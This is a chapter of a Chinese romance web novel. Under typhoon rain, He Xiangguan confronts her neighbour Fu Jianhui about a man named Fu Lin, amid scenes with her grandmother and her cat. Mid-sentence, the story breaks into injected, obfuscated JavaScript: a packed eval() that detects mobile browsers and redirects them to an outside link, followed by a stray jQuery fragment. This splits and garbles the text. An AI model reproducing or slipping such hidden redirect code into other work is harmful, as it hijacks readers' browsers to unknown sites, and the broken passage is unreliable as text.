这个画面真的很难形容。
套间本来就不大,符渐徽的身影杵在门口,一动不动,像一堵墙。而前面每个小房间的门缝里都探出半个脑袋。
腰子大概是看懂了她的尴尬,退后两步,然后弓起背、龇着牙,冲着符渐徽就是一顿张牙舞爪的“喵呜喵呜”,眼歪口斜,尾巴炸成鸡毛掸子。
符渐徽没理它,目光不紧不慢落在贺襄欢脸上,像在消化什么信息:“性格特别好的……高材生?”
贺襄欢脸有点热。姥儿虽然说话夸张了点,但好歹是基于事实美化,他这个表情是什么意思?
于是她也叉起腰,瞪回去,很凶。
符渐徽的声音听不出是认真还是调侃:“追你的人从岸城排到黄海?”
他说得很慢,一个字一个字地往外吐。
他为什么要用这个语气复述姥儿的话?符渐徽到底知道些什么,想质问她些什么?
为了符林吗?既然符渐徽以前是海厂大院的,那他说不准也知道她和符林的那些事。
“然后……”他歪了歪头,眼底却凝着克制的郁气,压着说不清的怨,“你一个都没看上?”
他像是自己点了下头,语气淡淡的:“也对,你又没什么心。”
贺襄欢紧握的拳头慢慢松开了,垂在身体两侧,微微发颤。
他知道。他绝对知道很多。
贺襄欢勉强摆出惯常的笑:“都说我没心没肺了,你就不要跟我打哑谜了。”
符渐徽的声音很低:“你真的觉得,是我在打哑谜,而不是你在故意逃避回答我的问题吗?”
“有什么区别么?”贺襄欢侧过头,“还有,你到底想干嘛?我对帅哥的容忍度就跟我的余额一样,看着还行,一用就空。你一天天这样莫名其妙的,是恃靓行凶知道吗?”
符渐徽静静望着她,方才紧绷的神色缓缓松下去,却不是释然:“算了,我再信你一次。”
腰子在旁边已经弓起了背,毫毛根根竖起,摆出战斗姿态,冲着符渐徽“嗷”了一嗓子。
符渐徽低下头,看了它一眼,像是觉得可笑。
然后他弯下腰,一把捏住腰子的后脖子,提溜起来。
“你能不能管好你家这个异食癖?”
贺襄欢看到她家腰子被拎在半空,一秒就投降,立马变得很乖顺,短胳膊短腿垂着,嘴里发出一声轻微又软糯的“喵……”
贺襄欢:……欺软怕硬的完蛋玩意儿。
符渐徽“哼”了一声,顺手把腰子隔空扔给她。
贺襄欢接住,抱了个满怀。毛茸茸的一团填在胸口,她好像才终于喘过气来。
“哎呀!小符和欢欢,你们站在门口干什么?”姥儿的声音从厨房方向炸出来,“欢欢你快来!这里的海鱼特别新鲜,小符说是他朋友刚打的,以后咱们就可以包鱼饺子了!”
贺襄欢恍恍惚惚“嗯”了一声,抱着猫就要从符渐徽身侧挤过去。
走道太窄,他偏偏不让开,就站在那里。
她往左,他也往左。她往右,他也往右。
贺襄欢停下。
符渐徽低头看她,声音不高不低:
“你还想撞啊?”
贺襄欢把腰子抱得更紧了些,闷闷回道:“没有。”
“哎?鱼怎么少了一只?”姥儿的声音又从厨房飘出来。
两人同时低头看向怀里的腰子。
只见腰子腮边还沾着几片鱼鳞,嘴角挂着一丝可疑的银白色黏液,嘴里一股子生鱼腥味。
腰子似乎是很怕符渐徽,眼睛瞪得溜圆,竟然开始卖萌了。
符渐徽皱着眉,半调侃半嫌弃地开口:“喂,你家是不是只有它一个肉食动物?”
他随口说着,抬眼往贺襄欢脸上扫了一下。
隔着那层黑色护目镜,他竟然看见了她的眼眶,隐隐约约透着一层红。
符渐徽一愣,直起身,眉梢微挑,眼底掺着几分无措,难得露出一点青涩,神色复杂微妙。
刹那间无措得像没被世事磋磨过的少年。
“真像个兔子。”
他扔下几个字,直起身,转身,三秒钟闪进了旁边的房间。
砰。
门关上了。
“小领导?你不是说你今天回去住吗?”房间里传来一个中年男人的声音,带着点含糊的睡意。
贺襄欢听姥儿说过,这里住的是符渐徽的一个员工,年纪不小,听着确实能当他爸了。
隔了几秒,符渐徽的声音才从门板后面传出来:“外面下雨了,懒得回。”
傍晚的时候就稀稀拉拉下起了雨。
原本台风预警说的是三天后才到,没想到风云突变,当天夜里风势就陡然转了向。新闻通知说台风即将提前登陆,老年人尽量不要出门。
姥儿八十多了,总不能让她冒雨回去。套间里正好有一间空着的,之前住的人刚退租,还没配出去。贺襄欢跟管理方说了一声,临时开了门,把那一间腾出来给她们住两晚。
一楼本来就潮,空气里浮着一层湿漉漉的凉意。贺襄欢回到自己房间,发现姥儿已经把屋里收拾得干净利索,被褥叠得整整齐齐。
“姥儿,你等我回来再收拾,小心摔着。”贺襄欢有点过意不去。
“我要每天动动胳膊腿才舒服。”
也对,多动动是好事。
姥儿似乎没发现贺襄欢情绪不对,一边铺床一边念叨:“今年台风来得急,你那工作是不是还得加班啊?”
“嗯。”
“实在不行,我们现在这边住几天吧,这里离你们产业园也近,上班也方便,我在哪都无所谓的。”
“也好。等台风过去,我直接叫个搬家公司。”
姥儿看着她心不在焉的脸,还以为她是累了:“你要洗澡吗?走吧,我在外面看着你。”
贺襄欢愣了一下,理解过来姥儿的用意:“不用,公租房这边租客来源街道都核实过的,而且浴室外面湿乎乎的,你别滑倒了。”
“哎哟,你还是太年轻。”姥儿拍开她的手,“保护自己得自己上心,懂不懂?”
贺襄欢拗不过她。姥儿当真搬了把椅子,端端正正坐在浴室门口,像个门神。
她只好抓紧时间洗澡。她平时洗澡磨磨蹭蹭能洗半小时,今天恨不得洗出火星子来。
匆匆擦完身子,还得内衣什么的都穿齐全了才能出去。
刚推门,就听见外面有人进来,低声吸口气,像是吓了一跳。
姥儿语气和蔼得像招待亲孙子:“小符来啦?”
接着是男人熟悉的声音,他像是搞明白什么情况:“哦,我等会儿再来。”
姥儿声音又和蔼了两个度:“欢欢马上就洗完了,你等一小会儿啊。”
贺襄欢的手停在门把手上,进也不是退也不是。
最终她一咬牙,把门拉开了一条缝。
然后她看到符渐徽就靠在走廊对面的墙上,手里拿着一件叠好的外套,头发微微潮湿,像是刚从外面淋了雨回来。
他没看门这边,但贺襄欢总觉得他眼角的余光已经扫过来了。
她心里莫名其妙地一慌,又啪一声把门关上了。
门板后面,她听见符渐徽极轻地“嗤”了一声,像是笑了一下。
怎么又是这样?
他这态度,是在向她讨要说法吗?关于符林的说法?
姥儿终于觉察出不对劲了,目光在两人之间来回扫了好几趟:“你俩之前吵过架?”
贺襄欢的发梢还在往下滴水,一滴、两滴,落在肩膀上,洇开一小片深色。明明刚洗过热水澡,此刻却觉得浑身黏腻腻地发紧。
空气安静得过分。
贺襄欢手心沁出一层汗。
她忽然下定了决心,不能再拖了。
等会儿就应该找到符渐徽,好好问问他,关于符林的事,他到底知道多少。
她正要开口,旁边隔间里突然传来一声沉闷的声响,紧接着是七零八落的东西倒下的声音,像是什么架子塌了。
贺襄欢赶紧推门出去,看到符渐徽已经闪身进了隔壁房间,他和他员工住的那间房间。
一个看起来五十多岁的男人倒在地上,拐杖摔在旁边,身上压着一个散开的塑料袋,里面的东西洒了一地。窗户大敞着,雨丝被风吹进来,几页文件在屋里乱飞。男人的表情皱成一团,疼得直吸气。
“老张!”符渐徽弯下腰,一把将人扶到窗边的椅子上,“窗户等会儿我来关就行,你着什么急。”
老张疼得额头上浮起一层薄汗,喘着气说:“我是怕你洗完澡,吹着风着凉。”
符渐徽弯腰捡起地上的拐杖:“我就喜欢洗冷水澡吹冷风,你不用操这个心。”
贺襄欢站在门口,觉得傻站着不好,于是走进去,弯腰帮忙捡起地上的袋子,还有散落的几本书,《惶然录》、《放逐与王国》、《快乐的死》。
她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17912570|213184||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
随口问了一句:“你喜欢加缪啊?”
符渐徽没抬头:“我来收拾,你先出去吧。”
贺襄欢没多想,又捡起一沓散落的文件:“没事,我帮你。”
“我是说——”符渐徽忽然加重了语气,声音好像很急,“这些是我的隐私,你先出去。”
贺襄欢的手一顿。那沓文件还捏在指尖,她却没有再低头看一眼。
一种说不清道不明的难受从身体深处涌上来,堵在胸口,闷得发疼。她把文件轻轻放回桌上,气息压了又压,最后只憋出一个字:“……哦。”
她能感觉出符渐徽的拒绝、敌意,大概率是因为符林。
她当年在符林那件事上确实很差劲,很多话没说出口,很多事没解释清楚。现在……大概是更没有机会了。
身体里有两股力量较着劲,一股说要她去面对,说清楚,另一股又在那里拉扯、纠结,不敢说。
贺襄欢没有再回头,转身走了出去。
她没有看到,她身后的门内,符渐徽拎着那沓文件,长长地、无声地舒了一口气。
老张的视线从那沓文件上划过,文件署名栏里赫然写着“符林”两个字。
他一脸纳闷地抬起头:“小领导,你怎么突然这么激动?”
符渐徽没接话,自顾自地归拢着散落的文件,鼓着腮帮子,像是在压着什么情绪。
不管贺襄欢究竟是真没认出他,还是刻意装作不相识,他……他都不想在这样的场合,与贺襄欢相认。
外面电闪雷鸣,屋里闷热潮湿,走廊上还趴着一群看热闹的邻居。
太不浪漫了。
这不是他的风格。
符渐徽还没来得及答话,门外突然传来一声短促的尖叫。
是贺襄欢!
他心头一紧,几乎是本能地闪身冲出去。
……
走廊地上,贺襄欢以一种极其滑稽的姿势仰面躺在地上。
她大概是滑倒的,但摔倒的一瞬间她只顾着夹紧双腿、不让裙子走光,结果这个动作让她重心彻底失衡,后脑勺结结实实磕在了地砖上。
她躺在地上,大脑空白了好几秒,视线里只剩下天花板上那盏摇晃的灯。
等她终于缓过劲来,首先映入眼帘的是姥儿焦急的脸,和旁边符渐徽一张神色紧绷的脸。
姥儿想扶她起来,却被符渐徽拦住了:“先别动,看看她有没有事。”
看到贺襄欢睁开眼,符渐徽蹲下身,声音不自觉地放轻了:“你还好吧?”
贺襄欢恍惚间想起很多海厂大院的事情。
鲜活的、扑腾的、决绝的、满怀希望的。那些画面像潮水一样涌上来,一股脑地堵在胸口。
那些都是很久以前的事了。
符渐徽见她眼神发直,明显慌了一瞬,掏出手机就要拨120。
贺襄欢一把按住他的手:“我没事!”
符渐徽的动作顿住了,细细打量着她的脸色,确定她确实没有大碍之后,紧绷的肩膀才微微松下来。
他若有所思道:“……你怎么老把自己弄得这么倒霉?”
贺襄欢缩了缩脖子。他这什么意思?
不能再等了。
再等下去,她这辈子都开不了这个口。
她忽然一把抓住符渐徽的袖子,力道不小,符渐徽被她猛地一拽,整个人差点扑到她身上。
他双手撑在她身侧的地上,勉强稳住重心,皱起眉就要发作。
“你认识符林吗?”
符渐徽的动作僵住了。
“你认识符林吧!”
符渐徽以一个极别扭的姿势停在她上方,一寸一寸地抬眼,看向她。
贺襄欢脸上沾着地上的泥水,发梢湿漉漉地贴在脸颊上,按道理说狼狈极了,可她仰着脸看他的时候,那双眼睛清亮得像刚刚被雨水洗过。
符渐徽喉结动了动:“……你找他干什么?”
贺襄欢没有犹豫,声音不大,却一字一字地砸过来:
“我欠他一个回应。迟了这么多年,我不想再等了。”
符渐徽看着她,像是想从她脸上找出什么破绽,看了几秒,才缓缓开口:“回应什么?道歉的话,还是别的什么?”
贺襄欢直视着他,脸上褪去所有松散的情绪:“我想让他知道,当年他们最后说的那些话,我都知道了,但不是都认了。”
“我还没认,我们之间,还有账没算完。”